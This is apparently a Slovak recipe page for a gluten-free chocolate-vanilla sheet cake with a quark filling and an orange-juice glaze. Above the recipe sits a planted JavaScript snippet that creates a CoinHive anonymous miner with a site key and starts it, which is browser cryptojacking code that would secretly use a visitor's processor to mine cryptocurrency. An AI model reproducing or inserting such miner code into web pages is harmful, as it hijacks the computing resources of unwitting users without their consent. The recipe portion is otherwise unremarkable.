

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```

4 vajcia, 2dcl kryštálového cukru, 2dcl oleja, 2 kakaové pudingové prášky (bezlepkové), 2 vanilkové pudingové prášky, 1 prášok do pečiva.

Plnka: 750g jemného tvarohu, 1 Hera, 250 g práškového cukru, vanilkový cukor. Poleva: 4dcl pomarančového džusu, 1 Zlatý klas, vanilkový cukor. Bielky vyšľaháme s cukrom, pridáme žltky, olej, pudingové prášky a prášok do pečiva, vylejeme na vymastený a vysypaný plech a upečieme. Vychladnuté naplníme plnkou.

Plnka: Suroviny vymiešame, natrieme na vychladnuté cesto a dáme stuhnúť do chladničky. Stuhnuté polejeme polevou.

Poleva: Suroviny uvaríme na kašu, ešte vlažné nalejeme na plnku.